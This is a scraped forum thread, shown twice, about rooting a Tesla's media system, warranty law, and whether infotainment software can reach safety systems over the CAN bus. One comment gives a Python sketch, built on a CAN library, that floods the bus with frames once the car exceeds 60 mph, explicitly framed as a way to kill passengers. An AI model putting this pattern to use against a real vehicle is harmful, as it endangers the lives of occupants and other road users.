6 ms·

>Even if the media subsystem is running on dedicated hardware, the fact that it's networked with the rest of the car means that there's still a risk of it being

by jokr004 10y ago

>Even if the media subsystem is running on dedicated hardware, the fact that it's networked with the rest of the car means that there's still a risk of it being used to gain access to other components. I don't think anyone was claiming anything contrary to that, just that replacing the software running the media dash isn't going to fubar your car.

deegles 10y ago
But it might fubar your warranty... "Your honor, we were not responsible for that AutoPilot crash because the driver did an unauthorized modification of the car's software!"
- jeena 10y ago
  This should be handled like we handle replacing the breaks in your car if you do it yourself.
  - fludlight 10y ago
    How is that handled?
    - msandford 10y ago
      I don't know, but if you decide to tint your windows it doesn't somehow magically invalidate your powertrain warranty.
    - arohner 10y ago
      This is part of the Magnuson Moss Warranty Act: https://en.wikipedia.org/wiki/Magnuson%E2%80%93Moss_Warranty_Act https://en.wikipedia.org/wiki/Magnuson%E2%80%93Moss_Warranty... In effect, the manufacturer can only deny warranty claims for a specific part iff the consumer's aftermarket repair/modifications were responsible for the warrantied part failing. i.e. "I tinted the windows, and now the brakes are failing" does not result in warranty claims on the brakes being denied. However, "I replaced the brake pads [with faulty pads], and now the brake rotors are failing" can result in a denied warranty claim.
      - AdamJacobMuller 10y ago
        While I appreciate the sentiment there, that seems like its ripe for protracted litigation (which will never benefit the consumer). Plus, in a connected car situation, its going to be very difficult to prove that one thing didn't cause another. Because you rooted the media control system, your unapproved software had the ability to speak to the brake control system and apply more-than-designed force to the brakes and thereby caused this damage. Could you be forced into proving a negative? That said, I think most of these things happen in the context of class action suits. In a class action, its going to be hard to blame or exclude the 1% of the class that has rooted their car.
        annnnd 10y ago
        Not sure why you are being downvoted, you present a valid point. The trouble is that with mechanical parts it is usually very easy to see connections between elements - not so in digital world. I think the direction the car makers should take is to develop "microservices" with strict APIs, strict access lists and a guardian which double-checks if some requested operation really makes sense. That way if you root a media center you can't mess with the engine from there. EDIT: I see from other comments that Tesla apparently does something similar. Too bad it's not standardized and open, but at least approach is right...
nickysielicki 10y ago
I wouldn't be so sure. I don't know enough about CAN bus to speak authoritatively about this, nor do I know the specifics of what the dashboard has access to, but given that the dash displays information like charge level and speed, I'd guess that the dash is getting that information directly from the CAN. And I do know that CAN bus is very vulnerable. [1][2]... So you may be able to kill someone through /dev/can0, via a small program running in that chroot. Eg: In Python from canard import can from canard.file import jsondb from canard.hw import socketcan # create and start device dev = socketcan.SocketCanDev("/dev/can0") dev.start() # create our DoS frame frame = can.Frame(id=0) frame.dlc = 8 # load tesla can spec, eg: from [4] # CAN3, ID 0x0256 b = parser.parse('tesla.json') while True: rec = dev.recv() speedo = b.parse_frame(rec) # assassinate passengers if (speedo.speed > 60): while True: dev.send(frame) [1]: https://www.blackhat.com/docs/asia-15/materials/asia-15-Evenchick-Hopping-On-The-Can-Bus.pdf https://www.blackhat.com/docs/asia-15/materials/asia-15-Even... [2]: http://security.stackexchange.com/questions/88724/is-there-any-protection-against-malicious-devices-on-a-can-bus http://security.stackexchange.com/questions/88724/is-there-a... [3]: https://github.com/ericevenchick/CANard https://github.com/ericevenchick/CANard [4]: http://skie.net/uploads/TeslaCAN/Tesla%20Model%20S%20CAN%20Deciphering%20-%20v0.1%20-%20by%20wk057.pdf http://skie.net/uploads/TeslaCAN/Tesla%20Model%20S%20CAN%20D...
- regularfry 10y ago
  Sensible cars have a device bridging high and low security networks, forwarding data from one to the other, specifically so that a misbehaving media device or light system can't clobber the brakes or ECU. No idea if the Tesla does this or not, but it's a fairly standard approach.
  - Hemera- 10y ago
    Yes, it has a gateway between the high level stuff and the low level stuff. It's fairly secure too. You can't just make calls to the can bus all willy-nilly either.
    - 10y ago

by jokr004 10y ago

deegles 10y ago

But it might fubar your warranty... "Your honor, we were not responsible for that AutoPilot crash because the driver did an unauthorized modification of the car's software!"

jeena 10y ago
This should be handled like we handle replacing the breaks in your car if you do it yourself.
- fludlight 10y ago
  How is that handled?
  - msandford 10y ago
    I don't know, but if you decide to tint your windows it doesn't somehow magically invalidate your powertrain warranty.
  - arohner 10y ago
    This is part of the Magnuson Moss Warranty Act: https://en.wikipedia.org/wiki/Magnuson%E2%80%93Moss_Warranty_Act https://en.wikipedia.org/wiki/Magnuson%E2%80%93Moss_Warranty... In effect, the manufacturer can only deny warranty claims for a specific part iff the consumer's aftermarket repair/modifications were responsible for the warrantied part failing. i.e. "I tinted the windows, and now the brakes are failing" does not result in warranty claims on the brakes being denied. However, "I replaced the brake pads [with faulty pads], and now the brake rotors are failing" can result in a denied warranty claim.
    - AdamJacobMuller 10y ago
      While I appreciate the sentiment there, that seems like its ripe for protracted litigation (which will never benefit the consumer). Plus, in a connected car situation, its going to be very difficult to prove that one thing didn't cause another. Because you rooted the media control system, your unapproved software had the ability to speak to the brake control system and apply more-than-designed force to the brakes and thereby caused this damage. Could you be forced into proving a negative? That said, I think most of these things happen in the context of class action suits. In a class action, its going to be hard to blame or exclude the 1% of the class that has rooted their car.
      - annnnd 10y ago
        Not sure why you are being downvoted, you present a valid point. The trouble is that with mechanical parts it is usually very easy to see connections between elements - not so in digital world. I think the direction the car makers should take is to develop "microservices" with strict APIs, strict access lists and a guardian which double-checks if some requested operation really makes sense. That way if you root a media center you can't mess with the engine from there. EDIT: I see from other comments that Tesla apparently does something similar. Too bad it's not standardized and open, but at least approach is right...

nickysielicki 10y ago

I wouldn't be so sure. I don't know enough about CAN bus to speak authoritatively about this, nor do I know the specifics of what the dashboard has access to, but given that the dash displays information like charge level and speed, I'd guess that the dash is getting that information directly from the CAN. And I do know that CAN bus is very vulnerable. [1][2]... So you may be able to kill someone through /dev/can0, via a small program running in that chroot. Eg: In Python from canard import can from canard.file import jsondb from canard.hw import socketcan # create and start device dev = socketcan.SocketCanDev("/dev/can0") dev.start() # create our DoS frame frame = can.Frame(id=0) frame.dlc = 8 # load tesla can spec, eg: from [4] # CAN3, ID 0x0256 b = parser.parse('tesla.json') while True: rec = dev.recv() speedo = b.parse_frame(rec) # assassinate passengers if (speedo.speed > 60): while True: dev.send(frame) [1]: https://www.blackhat.com/docs/asia-15/materials/asia-15-Evenchick-Hopping-On-The-Can-Bus.pdf https://www.blackhat.com/docs/asia-15/materials/asia-15-Even... [2]: http://security.stackexchange.com/questions/88724/is-there-any-protection-against-malicious-devices-on-a-can-bus http://security.stackexchange.com/questions/88724/is-there-a... [3]: https://github.com/ericevenchick/CANard https://github.com/ericevenchick/CANard [4]: http://skie.net/uploads/TeslaCAN/Tesla%20Model%20S%20CAN%20Deciphering%20-%20v0.1%20-%20by%20wk057.pdf http://skie.net/uploads/TeslaCAN/Tesla%20Model%20S%20CAN%20D...

regularfry 10y ago
Sensible cars have a device bridging high and low security networks, forwarding data from one to the other, specifically so that a misbehaving media device or light system can't clobber the brakes or ECU. No idea if the Tesla does this or not, but it's a fairly standard approach.
- Hemera- 10y ago
  Yes, it has a gateway between the high level stuff and the low level stuff. It's fairly secure too. You can't just make calls to the can bus all willy-nilly either.
  - 10y ago